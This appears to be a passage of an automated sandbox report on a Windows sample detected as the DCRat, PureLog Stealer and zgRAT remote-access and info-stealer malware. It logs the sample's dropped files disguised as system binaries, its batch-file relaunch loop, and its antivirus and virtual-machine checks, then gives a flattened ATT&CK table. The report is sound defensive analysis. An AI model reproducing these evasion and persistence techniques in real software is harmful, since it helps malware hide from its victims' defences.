                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile opened: C:\Users\user\AppDataJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile opened: C:\Users\user\AppData\Local\TempJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeFile opened: C:\Users\user\AppData\LocalJump to behavior
                            Source: NkgVUECczLKUWJoEOfo.exe0.0.drBinary or memory string: ier9b9lR4AyvMCI4aY4n
                            Source: cbCjTbodwa.exe, 00000000.00000002.1717969546.000000001B6F0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: _VMware_SATA_CD00#4&224f42ef&0&00000
                            Source: smss.exe, 00000033.00000002.2788203505.0000000003430000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Oib/1bHRMfld2c2qHZP/JsqF+W6zUOjYWA3sjdAVUJ2fmWT75JNYZXjgp6DwUKz8CVkt0FrUApUUqqqsbgEU3W+ffNrKREg4ZJ/8M1d+HMq0zyKNxwumCpk8LvI834U8+cyMeRS8FSyqhJUIilt0RKvN1WboAAUutyiWsGLkS8hVoHGSUFhVKIN8tVm06IMsyY7SArcJylldyDkKdR2MPFaeEBHPUSTZPkuSqyW0ABxWQW9LOfRcIRQnOboVx4VVMCiFjm78daFjs8LlIlZmUhTHZqgEYFC4I4IpImSDdMURsUCNHVscERn7IgJCEm+JqDAJ8gGL5PpJD2hxdEEO0RGnHJBfARLVbiGxzWhtChrjFkdcRvurNmNOR0Q3SNERARGZo11U6GaFHgp0h12DVpotur2LcpUoi6KsQMIq2pOa0H9MuA010V+kk6shzRGBezPccbi3oGFC7WUrJMqibIa8O9E6JgEZRuRzgFxmkh2T16C1VyF2PXWmiOg+HKIq8C3AbyZ2IaL7YQDRzRC/HeyMfA3wO9BKw4jdrbhNhVXkREB9B6qBvgfofThGhD0A+kSOPghMhbCfoIZWxB6Doh1tvLxfQrqN6vYEStoQ+w2UoGRLOKAI+l+2rMHXs12i83xYKNbkhDsQYsKEL4BcP8kBcsqlI1UmHVluJC0hxGIBf7vCMe7AMQDrKyysLlT4JDTbkl8koENM3g//C8EbwKckdEnykUfAC8stliJBF+CcahL7rtkigVeYLEKRIFkEBe4q2SIVCeBBWOCHjqjFYgIS2obsaqVagSxV0FcW6MYSixVK7oeW21ehQYG1Rc0WEeRlyL3AscBqkRU0zsJCi0VytAEGySDO2GRm6iTjNuNvl37KdX3mdE7PslR6eT/sJyEQpf10IlEf7+c9eaqWuZd8uqL/loufHZXrf2U1l4/27/8UPl74IiYCKY8JUymPCfii6jzWyXoAttHbyna2lq0Bup2+ZFhLco+Y3j7J9QjTdC7WKTSX0/8sq5tEOmFFxZV3ENbgFfDENbsdqD6Gf1zgnyTpz/4LsaX0O4sq0CawZbSiD0COQdBiDMHcnLQhPM1lo1DTKMkZl5dkVgFnK63/XVAHvnYPwDMN6/rUgHJ964CbAokRiihO1+f5FJnzpkckOeW2UvyBZfVC2aNgVJ8my13rPKrPJ3sG64W9yms+CHn74Tk8TcN9uQdx/3v9/3wN8W+G7mv4n67I/17/E9f/AW/nhxgAXAAA","35d8f50be9ce23718b03ad282906cdb3fa75f62d"]
                            Source: smss.exe, 0000002D.00000002.2759523728.000000001BB18000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                            Source: smss.exe, 00000033.00000002.2909957670.000000001BFAB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
                            Source: w32tm.exe, 0000002C.00000002.2556371665.0000020A9B2E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll2
                            Source: smss.exe, 0000002D.00000002.2623410987.0000000000ED7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
                            Source: smss.exe, 00000033.00000002.2788203505.00000000034E7000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: RcIRQnOboVx4VVMCiFjm78daFjs8LlIlZmUhTHZqgEYFC4I4IpImSDdMURsUCNHVscERn7IgJCEm+JqDAJ8gGL5PpJD2hxdEEO0RGnHJBfARLVbiGxzWhtChrjFkdcRvurNmNOR0Q3SNERARGZo11U6GaFHgp0h12DVpotur2LcpUoi6KsQMIq2pOa0H9MuA010V+kk6shzRGBezPccbi3oGFC7WUrJMqibIa8O9E6JgEZRuRzgFxmkh2T16C1VyF2PXWmiOg+HKIq8C3AbyZ2IaL7YQDRzRC/HeyMfA3wO9BKw4jdrbhNhVXkREB9B6qBvgfofThGhD0A+kSOPghMhbCfoIZWxB6Doh1tvLxfQrqN6vYEStoQ+w2UoGRLOKAI+l+2rMHXs12i83xYKNbkhDsQYsKEL4BcP8kBcsqlI1UmHVluJC0hxGIBf7vCMe7AMQDrKyysLlT4JDTbkl8koENM3g//C8EbwKckdEnykUfAC8stliJBF+CcahL7rtkigVeYLEKRIFkEBe4q2SIVCeBBWOCHjqjFYgIS2obsaqVagSxV0FcW6MYSixVK7oeW21ehQYG1Rc0WEeRlyL3AscBqkRU0zsJCi0VytAEGySDO2GRm6iTjNuNvl37KdX3mdE7PslR6eT/sJyEQpf10IlEf7+c9eaqWuZd8uqL/loufHZXrf2U1l4/27/8UPl74IiYCKY8JUymPCfii6jzWyXoAttHbyna2lq0Bup2+ZFhLco+Y3j7J9QjTdC7WKTSX0/8sq5tEOmFFxZV3ENbgFfDENbsdqD6Gf1zgnyTpz/4LsaX0O4sq0CawZbSiD0COQdBiDMHcnLQhPM1lo1DTKMkZl5dkVgFnK63/XVAHvnYPwDMN6/rUgHJ964CbAokRiihO1+f5FJnzpkckOeW2UvyBZfVC2aNgVJ8my13rPKrPJ3sG64W9yms+CHn74Tk8TcN9uQdx/3v9/3wN8W+G7mv4n67I/17/E9f/AW/nhxgAXAAA/Uz8
                            Source: smss.exe, 0000000E.00000002.2010036861.000000001C63D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll0h
                            Source: smss.exe, 0000000E.00000002.2010036861.000000001C63D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:h!
                            Source: smss.exe, 00000005.00000002.1907667389.000000001B8BD000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 00000014.00000002.2157058615.000000001C8B8000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 0000001A.00000002.2353045191.000000001BEAE000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 00000020.00000002.2463425672.000000001C8A5000.00000004.00000020.00020000.00000000.sdmp, w32tm.exe, 00000025.00000002.2457192554.0000022FFCEA9000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 00000026.00000002.2636181280.000000001D298000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.2759523728.000000001BB76000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 00000033.00000002.2905510606.000000001BEB6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess information queried: ProcessInformationJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess token adjusted: DebugJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess token adjusted: DebugJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess token adjusted: DebugJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess token adjusted: Debug
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess token adjusted: Debug
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess token adjusted: Debug
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess token adjusted: Debug
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess token adjusted: Debug
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess token adjusted: Debug
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess token adjusted: Debug
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeMemory allocated: page read and write | page guardJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\2bTPqZ7w1t.bat" Jump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001Jump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhostJump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe" Jump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\rsWxIDz3Cx.bat" Jump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001Jump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhostJump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe" Jump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\IB3ybkF286.bat" Jump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001Jump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhostJump to behavior
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe" Jump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\WLOEqHw6cP.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\z5PBQAYZs7.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\COegk83zmU.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\LsjJJiW2rn.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\zhbNlpe3Af.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Program Files\Uninstall Information\smss.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\SrnQwv5hL3.bat"
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 10 localhost
                            Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files\Uninstall Information\smss.exe "C:\Program Files\Uninstall Information\smss.exe"
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeQueries volume information: C:\Users\user\Desktop\cbCjTbodwa.exe VolumeInformationJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
                            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Program Files\Uninstall Information\smss.exe VolumeInformationJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
                            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Program Files\Uninstall Information\smss.exe VolumeInformationJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformationJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformationJump to behavior
                            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Program Files\Uninstall Information\smss.exe VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
                            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Program Files\Uninstall Information\smss.exe VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
                            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Program Files\Uninstall Information\smss.exe VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
                            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Program Files\Uninstall Information\smss.exe VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
                            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Program Files\Uninstall Information\smss.exe VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
                            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Program Files\Uninstall Information\smss.exe VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
                            Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Program Files\Uninstall Information\smss.exe VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
                            Source: C:\Program Files\Uninstall Information\smss.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
                            Source: C:\Users\user\Desktop\cbCjTbodwa.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                            Source: smss.exe, 0000000E.00000002.1979988952.0000000000CD6000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 0000001A.00000002.2353045191.000000001BEAE000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 0000001A.00000002.2261891605.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.2757666081.000000001BAAC000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.2623410987.0000000000ED7000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 00000033.00000002.2784853189.00000000014D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
                            Source: smss.exe, 00000033.00000002.2905510606.000000001BEB6000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ramFiles%\Windows Defender\MsMpeng.exe
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
                            Source: C:\Program Files\Uninstall Information\smss.exeWMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

                            Stealing of Sensitive Information

                            barindex
                            Yara detected DCRat
                            Source: Yara matchFile source: 00000000.00000002.1707911521.0000000012E21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                            Source: Yara matchFile source: Process Memory Space: cbCjTbodwa.exe PID: 6240, type: MEMORYSTR
                            Source: Yara matchFile source: Process Memory Space: smss.exe PID: 5940, type: MEMORYSTR
                            Yara detected PureLog Stealer
                            Source: Yara matchFile source: cbCjTbodwa.exe, type: SAMPLE
                            Source: Yara matchFile source: 0.0.cbCjTbodwa.exe.700000.0.unpack, type: UNPACKEDPE
                            Source: Yara matchFile source: 00000000.00000000.1650898276.0000000000702000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                            Source: Yara matchFile source: C:\Program Files\Uninstall Information\smss.exe, type: DROPPED
                            Source: Yara matchFile source: C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe, type: DROPPED
                            Source: Yara matchFile source: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exe, type: DROPPED
                            Yara detected zgRAT
                            Source: Yara matchFile source: cbCjTbodwa.exe, type: SAMPLE
                            Source: Yara matchFile source: 0.0.cbCjTbodwa.exe.700000.0.unpack, type: UNPACKEDPE
                            Source: Yara matchFile source: C:\Program Files\Uninstall Information\smss.exe, type: DROPPED
                            Source: Yara matchFile source: C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe, type: DROPPED
                            Source: Yara matchFile source: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exe, type: DROPPED

                            Remote Access Functionality

                            barindex
                            Yara detected DCRat
                            Source: Yara matchFile source: 00000000.00000002.1707911521.0000000012E21000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                            Source: Yara matchFile source: Process Memory Space: cbCjTbodwa.exe PID: 6240, type: MEMORYSTR
                            Source: Yara matchFile source: Process Memory Space: smss.exe PID: 5940, type: MEMORYSTR
                            Yara detected PureLog Stealer
                            Source: Yara matchFile source: cbCjTbodwa.exe, type: SAMPLE
                            Source: Yara matchFile source: 0.0.cbCjTbodwa.exe.700000.0.unpack, type: UNPACKEDPE
                            Source: Yara matchFile source: 00000000.00000000.1650898276.0000000000702000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
                            Source: Yara matchFile source: C:\Program Files\Uninstall Information\smss.exe, type: DROPPED
                            Source: Yara matchFile source: C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe, type: DROPPED
                            Source: Yara matchFile source: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exe, type: DROPPED
                            Yara detected zgRAT
                            Source: Yara matchFile source: cbCjTbodwa.exe, type: SAMPLE
                            Source: Yara matchFile source: 0.0.cbCjTbodwa.exe.700000.0.unpack, type: UNPACKEDPE
                            Source: Yara matchFile source: C:\Program Files\Uninstall Information\smss.exe, type: DROPPED
                            Source: Yara matchFile source: C:\Program Files (x86)\Windows Mail\RuntimeBroker.exe, type: DROPPED
                            Source: Yara matchFile source: C:\Program Files\Windows Multimedia Platform\NkgVUECczLKUWJoEOfo.exe, type: DROPPED

                            Mitre Att&ck Matrix

                            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                            Gather Victim Identity Information1
                            Scripting                            		Valid Accounts141
                            Windows Management Instrumentation                            		1
                            Scripting                            		11
                            Process Injection                            		133
                            Masquerading                            		OS Credential Dumping241
                            Security Software Discovery                            		Remote Services11
                            Archive Collected Data                            		1
                            Encrypted Channel                            		Exfiltration Over Other Network MediumAbuse Accessibility Features
                            CredentialsDomainsDefault AccountsScheduled Task/Job1
                            DLL Side-Loading                            		1
                            DLL Side-Loading                            		1
                            Disable or Modify Tools                            		LSASS Memory1
                            Process Discovery                            		Remote Desktop ProtocolData from Removable Media2
                            Ingress Tool Transfer                            		Exfiltration Over BluetoothNetwork Denial of Service
                            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)161
                            Virtualization/Sandbox Evasion                            		Security Account Manager161
                            Virtualization/Sandbox Evasion                            		SMB/Windows Admin SharesData from Network Shared Drive3
                            Non-Application Layer Protocol                            		Automated ExfiltrationData Encrypted for Impact
                            Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
                            Process Injection                            		NTDS1
                            Remote System Discovery                            		Distributed Component Object ModelInput Capture13
                            Application Layer Protocol                            		Traffic DuplicationData Destruction
                            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                            Deobfuscate/Decode Files or Information                            		LSA Secrets1
                            System Network Configuration Discovery                            		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                            Obfuscated Files or Information                            		Cached Domain Credentials2
                            File and Directory Discovery                            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
                            Software Packing                            		DCSync34
                            System Information Discovery                            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
